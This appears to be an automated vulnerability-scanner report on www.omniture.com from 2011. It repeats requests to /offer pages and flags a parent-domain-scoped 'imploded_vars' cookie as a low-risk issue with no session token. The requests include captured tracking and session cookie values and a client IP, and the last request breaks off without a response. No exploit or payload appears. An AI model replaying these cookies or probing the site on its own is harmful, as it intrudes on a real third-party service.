GET /offer/102 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:57 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:57 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:57 GMT Content-Length: 13704 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:57 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>7 Advanced Steps to Effective S ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/107 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:18 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:19 GMT Content-Length: 13851 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>BabyCenter: 67% Increase in Con ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/108 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:34 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:34 GMT Content-Length: 14378 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Lastminute.com Achieves a 28% I ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/158 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:27:55 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:27:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:27:55 GMT Content-Length: 13637 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:27:55 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Defining the Online Marketing S ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/162 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:27:57 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:27:57 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:27:57 GMT Content-Length: 13965 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:27:57 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>How to Exponentially Increase C ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/17 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:19 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:19 GMT Content-Length: 15402 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:19 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>3 Proven Approaches to Deliveri ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/170 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:33 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:33 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:33 GMT Content-Length: 13945 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:33 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture SiteCatalyst 14: Actio ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/186 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:26 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:26 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:26 GMT Content-Length: 13697 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:26 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Discover: A New Dimens ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/187 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:44 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:44 GMT Content-Length: 14318 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture SearchCenter: Automate ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/191 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:36 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:36 GMT Content-Length: 13992 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Genesis: Introducing ' ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/285 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:15 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:15 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:15 GMT Content-Length: 13697 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:15 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Multichannel Measurement:Strate ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/286 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:12 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:12 GMT Content-Length: 13629 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe.. Test&Target, powered by ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/291 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:26:08 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:26:08 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:26:09 GMT Content-Length: 14357 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:26:08 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>30 SEO Strategies for Corporate ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/301 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:32:30 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:32:30 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:32:30 GMT Content-Length: 13581 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:32:30 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Becoming a Data Driven Marketer ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/303 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:16 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:16 GMT Content-Length: 14171 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Multichannel Retailing: Retaini ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/323 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
